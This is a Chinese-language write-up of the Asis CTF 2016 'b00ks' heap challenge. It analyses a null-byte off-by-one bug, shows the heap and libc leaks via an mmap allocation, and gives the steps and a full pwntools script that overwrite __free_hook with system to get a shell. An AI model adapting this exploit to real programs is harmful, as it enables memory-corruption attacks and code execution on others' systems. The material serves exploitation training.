题目描述 题目来源:Asis CTF 2016 知识点:null byte off_by_one、mmap泄露libc基址 题目是一个书籍管理系统,具有增删查改功能。
1 2 3 4 5 6 7 8 9 10 11 nick@nick-machine:~/pwn_learn/heapLearn/off_by_one$ ./b00ks Welcome to ASISCTF book library Enter author name: aaaa 1. Create a book 2. Delete a book 3. Edit a book 4. Print book detail 5. Change current author name 6. Exit >
题目是64位程序,开启保护情况:
1 2 3 4 5 6 [*] '/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
程序开启了PIE ,意味着难以得到程序中函数的地址,可能对泄露libc造成阻碍。
程序概况 程序首先要求输入author name,调用一个处理输入的函数(input函数)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 signed __int64 __fastcall input (_BYTE *a1, int a2) { int i; _BYTE *buf; if ( a2 <= 0 ) return 0L L; buf = a1; for ( i = 0 ; ; ++i ) { if ( read(0 , buf, 1u LL) != 1 ) return 1L L; if ( *buf == '\n' ) break ; ++buf; if ( i == a2 ) break ; } *buf = 0 ; return 0L L; }
分析代码可以发现,代码对字符串末尾处理不当,会在字符串的最后加上'\x00'
,即使字符串已经占满buf。也就是说程序中存在null byte off_by_one漏洞
create函数: 输入name,对大小没有限制
1 2 3 4 5 6 7 printf ("\nEnter book name size: " , *&v1); __isoc99_scanf("%d" , &v1); if ( v1 >= 0 ) { printf ("Enter book name (Max 32 chars): " , &v1); ptr = malloc (v1); ...
输入description,同样对大小无限制
1 2 3 4 5 6 7 8 9 10 11 12 13 printf ("\nEnter book description size: " , *&v1);__isoc99_scanf("%d" , &v1); if ( v1 >= 0 ){ v5 = malloc (v1); if ( v5 ) { printf ("Enter book description: " , &v1); if ( input(v5, v1 - 1 ) ) { printf ("Unable to read description" ); } ...
最后将name和description的指针存入结构体
1 2 3 4 5 6 7 8 9 10 v3 = malloc (0x20 uLL); if ( v3 ){ *(v3 + 6 ) = v1; *(off_202010 + v2) = v3; *(v3 + 2 ) = v5; *(v3 + 1 ) = ptr; *v3 = ++cnt; return 0L L; }
分析可得到结构体
1 2 3 4 5 6 00000000 book struc ; (sizeof=0x20, mappedto_6) 00000000 index dq ? 00000008 name dq ? 00000010 description dq ? 00000018 size dq ? 00000020 book ends
delete函数 会将指针清零,不存在悬挂指针edit函数 用于编辑book的descriptionprint函数 输出ID、name、description、author,可以用来泄露信息change_name函数 可以修改author name
漏洞分析 任意读写 由于null byte off_by_one,在程序开头时,若输入32位的author name(unk_202040),那么'\x00'
会溢出到book_list(unk_202060)中
1 2 3 4 .data:0000000000202010 book_list dq offset unk_202060 ; DATA XREF: sub_B24:loc_B38↑o .data:0000000000202010 ; delete:loc_C1B↑o ... .data:0000000000202018 author_name dq offset unk_202040 ; DATA XREF: change_name+15↑o .data:0000000000202018 ; print+CA↑o
若是此时create一个book,那么新book的指针将会覆盖掉这个溢出的'\x00'
,导致author name与book指针之间没有截断,意味着我可以通过输出author name来泄露出book的指针,也就是堆地址。
1 2 3 0x555555756040: 0x6161616161616161 0x6161616161616161 <== author name 0x555555756050: 0x6161616161616161 0x0061616161616161 0x555555756060: 0x0000555555757160 <== book指针
由于程序提供修改author name的函数,所以可以再次输入32位的author name,使溢出的'\x00'
覆盖掉book指针的最低字节,导致book的指针所指向的地址变小 。
1 0x0000555555757160 ==> 0x0000555555757100 //地址变小
因为在create一个book时,会先申请name和description的空间,所以经过修改的book指针有可能就会指向地址偏小description的空间 中
1 2 3 4 5 6 7 8 9 10 11 12 0x555555757000: 0x0000000000000000 0x0000000000000021 <== name 0x555555757010: 0x6161616161616161 0x0000000000000000 0x555555757020: 0x0000000000000000 0x0000000000000131 <== description 0x555555757030: 0x6262626262626262 0x0000000000000000 0x555555757040: 0x0000000000000000 0x0000000000000000 ...... 0x555555757100: 0x0000000000000000 0x0000000000000000 <== 修改后的book指针,指向description中 ...... 0x555555757150: 0x0000000000000000 0x0000000000000031 0x555555757160: 0x0000000000000001 0x0000555555757010 <== 修改前的book指针 0x555555757170: 0x0000555555757030 0x0000000000000120 0x555555757180: 0x0000000000000000 0x0000000000020e81
所以可以事先在description中伪造一个book结构体 ,当book指针被修改于此时,就可以对伪造的name和description进行读写,实现任意读写 。
泄露libc基址 这道题由于开启PIE,并且没有uaf等常规方法来泄露libc,所以这里采用了一种更为巧妙的方法。在分配第二个book时,申请一个很大的空间,使堆以mmap模式进行拓展(可以参考这里 )。因为mmap分配的内存与libc之前存在固定的偏移因此可以推算出libc的基地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x56052bb62000 0x56052bb64000 r-xp 2000 0 /home/nick/pwn_learn/heapLearn/off_by_one/b00ks 0x56052bd63000 0x56052bd64000 r--p 1000 1000 /home/nick/pwn_learn/heapLearn/off_by_one/b00ks 0x56052bd64000 0x56052bd65000 rw-p 1000 2000 /home/nick/pwn_learn/heapLearn/off_by_one/b00ks 0x56052d944000 0x56052d965000 rw-p 21000 0 [heap] 0x7fd6affa0000 0x7fd6b015e000 r-xp 1be000 0 /lib/x86_64-linux-gnu/libc-2.19.so 0x7fd6b015e000 0x7fd6b035e000 ---p 200000 1be000 /lib/x86_64-linux-gnu/libc-2.19.so 0x7fd6b035e000 0x7fd6b0362000 r--p 4000 1be000 /lib/x86_64-linux-gnu/libc-2.19.so 0x7fd6b0362000 0x7fd6b0364000 rw-p 2000 1c2000 /lib/x86_64-linux-gnu/libc-2.19.so 0x7fd6b0364000 0x7fd6b0369000 rw-p 5000 0 0x7fd6b0369000 0x7fd6b038c000 r-xp 23000 0 /lib/x86_64-linux-gnu/ld-2.19.so 0x7fd6b054d000 0x7fd6b0572000 rw-p 25000 0 <==== mmap分配的空间 0x7fd6b058a000 0x7fd6b058b000 rw-p 1000 0 0x7fd6b058b000 0x7fd6b058c000 r--p 1000 22000 /lib/x86_64-linux-gnu/ld-2.19.so 0x7fd6b058c000 0x7fd6b058d000 rw-p 1000 23000 /lib/x86_64-linux-gnu/ld-2.19.so 0x7fd6b058d000 0x7fd6b058e000 rw-p 1000 0 0x7ffe6b361000 0x7ffe6b382000 rw-p 21000 0 [stack] 0x7ffe6b3bd000 0x7ffe6b3bf000 r--p 2000 0 [vvar] 0x7ffe6b3bf000 0x7ffe6b3c1000 r-xp 2000 0 [vdso] 0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
getshell 因为PIE,所以很难采用覆写got表等方法。而已经泄露了libc,所以这里采用向__free_hook写入system来getshell
漏洞利用 输入32位的author name,create一个book1(name:0x20字节,description:0x120字节) 调用show函数 泄露堆地址 create book2(description为大空间:0x21000字节),准备泄露libc基址 create book3(name写入'/bin/sh\x00'
)为getshell做准备 在book1->description中伪造book结构体,name指针为book2的description指针(即mmap分配空间的地址 ),description指针为book3中description指针的地址 。(这里地址都可以由泄露的堆地址加上偏移得到) 重新向author name中写入32个字节,使'\x00'
覆盖掉book1指针的最低位字节,book1指针指向book1->description中布置好的book结构体 调用show函数,通过book1的name的值得到mmap分配的地址,减去固定的偏移获得libc基址 通过libc基址,计算出system和__free_hook的地址 调用edit,修改book1的description,写入free_hook的地址,因为第(5)步,所以这里实际是将book3的description指针改为 free_hook的地址 调用edit,修改book3的description,写入system,因为第(9)步,所以这里实际是把system写入__free_hook中 调用delete(book3),因为事先在name写入的'/bin/sh\x00'
,所以成功getshell 我的exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 from pwn import *context.log_level = 'debug' p = process('b00ks' ) context.terminal = ['gnome-terminal' , '-x' , 'sh' , '-c' ] libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) def create (name, description) : p.recvuntil('> ' ) p.sendline('1' ) p.recvuntil('Enter book name size: ' ) p.sendline(str(len(name))) p.recvuntil('Enter book name (Max 32 chars): ' ) p.send(name) p.recvuntil('Enter book description size: ' ) p.sendline(str(len(description))) p.recvuntil('Enter book description: ' ) p.send(description) def delete (index) : p.recvuntil('> ' ) p.sendline('2' ) p.recvuntil('id you want to delete: ' ) p.sendline(str(index)) def edit (index, description) : p.recvuntil('> ' ) p.sendline('3' ) p.recvuntil('id you want to edit: ' ) p.sendline(str(index)) p.recvuntil('new book description: ' ) p.sendline(description) def show () : p.recvuntil('> ' ) p.sendline('4' ) def change_name (name) : p.recvuntil('> ' ) p.sendline('5' ) p.recvuntil('Enter author name: ' ) p.sendline(name) def leak (addr1, addr2) : payload = 'b' *0xc0 + p64(1 ) + p64(addr1) + p64(addr2) + p64(0x120 ) edit(1 , payload) change_name('a' *32 ) show() p.recvuntil('Name: ' ) res = u64(p.recvuntil('\n' )[:-1 ].ljust(8 , '\x00' )) return res p.recvuntil('Enter author name: ' ) p.sendline('a' *32 ) create('a' *0x20 , 'b' *0x120 ) show() p.recvuntil('Author: ' ) heap_addr = u64(p.recvuntil('\n' )[32 :-1 ].ljust(8 , '\x00' )) print "heap_addr: %#x" % heap_addrcreate('a' *0x20 , '\x00' *0x21000 ) create('/bin/sh\x00' , 'b' *0x8 ) libc_base = leak(heap_addr+0x70 , heap_addr+0xe0 ) - 0x5AD010 print "libc_base: %#x" % libc_basesystem = libc_base + libc.symbols['system' ] free_hook = libc_base + libc.symbols['__free_hook' ] print "system: %#x" % systemprint "free_hook: %#x" % free_hookedit(1 , p64(free_hook)+'\x08' ) edit(3 , p64(system)) delete(3 ) p.interactive()
相关链接 题目链接:b00ks